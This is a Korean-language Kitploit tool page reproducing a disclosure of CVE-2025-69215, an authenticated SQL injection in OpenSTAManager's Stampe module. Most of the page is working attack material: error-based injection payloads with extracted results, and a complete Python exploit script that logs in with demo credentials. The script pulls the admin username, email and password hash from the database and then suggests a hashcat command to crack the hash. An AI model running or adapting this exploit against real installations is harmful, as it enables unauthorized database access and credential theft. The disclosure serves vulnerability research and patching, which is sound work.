Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-69215 — CVE-2025-69215 - OpenSTAManager의 Stampe 모듈에 SQL 인젝션 취약점이 있습니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2025-69215
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2025-69215

CVE-2025-69215

CVE-2025-69215 - OpenSTAManager의 Stampe 모듈에 SQL 인젝션 취약점이 있습니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-69215: OpenSTAManager의 Stampe 모듈에 SQL 인젝션 취약점

개요

필드세부 정보
CVE IDCVE-2025-69215
심각도높음
보안 권고권고문 보기
발견자Lukasz Rybak

영향을 받는 제품

  • devcode-it/openstamanager (버전: <= 2.9.8)

CWE 분류

  • CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화('SQL 인젝션')

세부 정보

취약점 세부 정보

위치

  • 파일: modules/stampe/actions.php
  • 줄: 26
  • 취약한 코드:
root@kitploit:~
case 'update':
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
        // ↑ Direct concatenation without prepare() sanitization
    }

근본 원인

POST 데이터의 module 매개변수는 prepare() 정화(sanitization) 함수를 사용하지 않고 SQL UPDATE 쿼리에 직접 연결됩니다. predefined 매개변수는 intval()로 검증되는 반면, module 매개변수는 !empty() 검사만 수행하므로 SQL 인젝션을 방지하지 못합니다.

취약한 패턴:

root@kitploit:~
// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
    // Line 26: Direct concatenation - VULNERABLE
    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}

악용

취약한 엔드포인트

root@kitploit:~
POST /modules/stampe/actions.php

필수 매개변수

root@kitploit:~
op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf

인증 요구 사항

  • 유효한 인증 세션이 필요함(Stampe 모듈에 접근 권한이 있는 모든 사용자)
  • 검증됨: "Tecnici" 그룹 접근 권한이 있는 사용자도 악용할 수 있음(관리자 전용이 아님!)
  • PoC: https://demo.osmbusiness.it 데모에서 tecnico/tecnicotecnico 자격 증명으로 테스트 가능

악용 유형

MySQL의 EXTRACTVALUE/UPDATEXML/GTID_SUBSET 함수를 사용하는 오류 기반 SQL 인젝션

개념 증명

방법 1: EXTRACTVALUE (MySQL 5.1+)

root@kitploit:~
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf

결과:

image

추출된 데이터: MySQL 버전 8.3.0


방법 2: GTID_SUBSET (MySQL 5.6+)

root@kitploit:~
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)

결과:

image

추출된 데이터: 데이터베이스 이름 openstamanager


방법 3: UPDATEXML (MySQL 5.1+)

root@kitploit:~
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)

결과:

image

추출된 데이터: 데이터베이스 사용자 [email protected]


자동화된 악용

전체 익스플로잇 스크립트: exploit_stampe_sqli.py

root@kitploit:~
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php

Usage:
    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""

import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin

class StampeSQLiExploit:
    def __init__(self, base_url, username, password, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
        })

    def login(self):
        """Authenticate with username and password"""
        login_url = urljoin(self.base_url, '/index.php')

        if self.verbose:
            print(f"[DEBUG] Attempting login to {login_url}")
            print(f"[DEBUG] Username: {self.username}")

        # First, get the login page to establish session
        resp = self.session.get(login_url)
        if self.verbose:
            print(f"[DEBUG] Initial GET status: {resp.status_code}")

        # Send login credentials with op=login parameter (required!)
        login_data = {
            'username': self.username,
            'password': self.password,
            'op': 'login',  # Required for OpenSTAManager
        }

        resp = self.session.post(login_url, data=login_data, allow_redirects=True)

        if self.verbose:
            print(f"[DEBUG] Login POST status: {resp.status_code}")
            print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")

        # Check if login was successful
        if 'PHPSESSID' not in self.session.cookies:
            print("[-] Login failed: No session cookie received")
            return False

        # Check if we're redirected to dashboard or still on login page
        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
            print("[-] Login failed: Still on login page")
            if self.verbose:
                print(f"[DEBUG] Current URL: {resp.url}")
            return False

        print(f"[+] Successfully logged in as '{self.username}'")
        print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
        return True

    def inject(self, sql_query):
        """Execute SQL injection payload"""
        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
        payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"

        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')

        if self.verbose:
            print(f"[DEBUG] Target: {target_url}")
            print(f"[DEBUG] Payload: {payload}")

        response = self.session.post(
            target_url,
            data={
                "op": "update",
                "id_record": "1",
                "predefined": "1",
                "module": payload,
                "title": "Test",
                "filename": "test.pdf"
            }
        )

        if self.verbose:
            print(f"[DEBUG] Response status: {response.status_code}")
            print(f"[DEBUG] Response length: {len(response.text)}")

        # Unescape HTML entities first
        response_text = unescape(response.text)

        # Pattern 1: XPATH syntax error with HTML entities or quotes
        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;
        xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
        if xpath_match:
            result = xpath_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted via XPATH pattern: {result}")
            return result

        # Pattern 2: Look in HTML comments (demo puts errors in comments)
        # <!--...XPATH syntax error: '~data~'...-->
        comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
        if comment_match:
            result = comment_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted from HTML comment: {result}")
            return result

        # Pattern 3: <code> tags
        codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)
        for code in codes:
            clean = code.strip()
            if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:
                match = re.search(r"~([^~]+)~", clean)
                if match:
                    result = match.group(1)
                    if self.verbose:
                        print(f"[DEBUG] Extracted from <code>: {result}")
                    return result

        # Pattern 4: PDOException error format (as shown in user's example)
        # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'
        pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL)
        if pdo_match:
            result = pdo_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted from PDOException: {result}")
            return result

        # Pattern 5: Generic ~...~ markers (last resort)
        markers = re.findall(r'~([^~]{1,100})~', response_text)
        if markers:
            if self.verbose:
                print(f"[DEBUG] Found generic markers: {markers}")
            # Filter out HTML/CSS junk
            for marker in markers:
                if marker and len(marker) > 2:
                    # Skip common HTML patterns
                    if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):
                        if self.verbose:
                            print(f"[DEBUG] Using marker: {marker}")
                        return marker

        if self.verbose:
            print("[DEBUG] No data extracted from response")
            # Save response for debugging
            with open('/tmp/stampe_response_debug.html', 'w') as f:
                f.write(response.text)
            print("[DEBUG] Response saved to /tmp/stampe_response_debug.html")

        return None

    def dump_info(self):
        """Dump database information"""
        queries = [
            ("Database Version", "VERSION()"),
            ("Database Name", "DATABASE()"),
            ("Current User", "USER()"),
            ("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("Total Users", "SELECT COUNT(*) FROM zz_users"),
            ("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"),
        ]

        print("="*70)
        print(" EXPLOITING SQL INJECTION - DATA EXTRACTION")
        print("="*70)
        print()

        results = {}
        for desc, query in queries:
            print(f"[*] Extracting: {desc}")
            print(f"    Query: {query}")
            result = self.inject(query)
            if result:
                print(f"    ✓ Result: {result}")
                results[desc] = result
            else:
                print(f"    ✗ Failed to extract")
            print()

        return results

def main():
    parser = argparse.ArgumentParser(
        description='OpenSTAManager Stampe Module SQL Injection Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Exploit demo.osmbusiness.it with tecnico user
  python3 %(prog)s -u tecnico -p tecnicotecnico

  # Exploit demo with admin credentials
  python3 %(prog)s -u admin -p admin123

  # Exploit custom installation with verbose output
  python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v
        '''
    )

    parser.add_argument('-u', '--username', required=True,
                        help='Username for authentication')
    parser.add_argument('-p', '--password', required=True,
                        help='Password for authentication')
    parser.add_argument('--url', default='https://demo.osmbusiness.it',
                        help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')
    parser.add_argument('-v', '--verbose', action='store_true',
                        help='Enable verbose output for debugging')

    args = parser.parse_args()

    print("╔" + "="*68 + "╗")
    print("║  SQL Injection Exploit - OpenSTAManager Stampe Module          ║")
    print("║  CVE-PENDING | Authenticated Error-Based SQLi                 ║")
    print("╚" + "="*68 + "╝")
    print()
    print(f"[*] Target: {args.url}")
    print(f"[*] Username: {args.username}")
    print()

    exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)

    # Login first
    if not exploit.login():
        print("\n[-] Authentication failed. Cannot proceed with exploitation.")
        print("[!] Please check:")
        print("    1. Are the credentials correct?")
        print("    2. Is the target URL accessible?")
        print("    3. Is the user account active?")
        sys.exit(1)

    print()

    # Extract data
    results = exploit.dump_info()

    # Summary
    print("="*70)
    print(" EXTRACTION SUMMARY")
    print("="*70)
    print()

    if results:
        for key, value in results.items():
            print(f"  {key:.<40} {value}")

        # If we got admin password hash, combine it
        if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results:
            full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"]
            print()
            print("  " + "="*66)
            print(f"  Full Admin Password Hash: {full_hash}")
            print("  " + "="*66)
            print()
            print("  [!] Crack with hashcat:")
            print(f"      hashcat -m 3200 '{full_hash}' wordlist.txt")
    else:
        print("  ✗ No data extracted")
        if not args.verbose:
            print("\n  [!] Try running with -v flag for debugging information")

if __name__ == "__main__":
    main()

기여

Łukasz Rybak이(가) 보고

참고 문헌

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69215
  • https://github.com/advisories/GHSA-qx9p-w3vj-q24q

면책 조항

이 CVE는 조정된 취약점 공개(coordinated vulnerability disclosure) 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드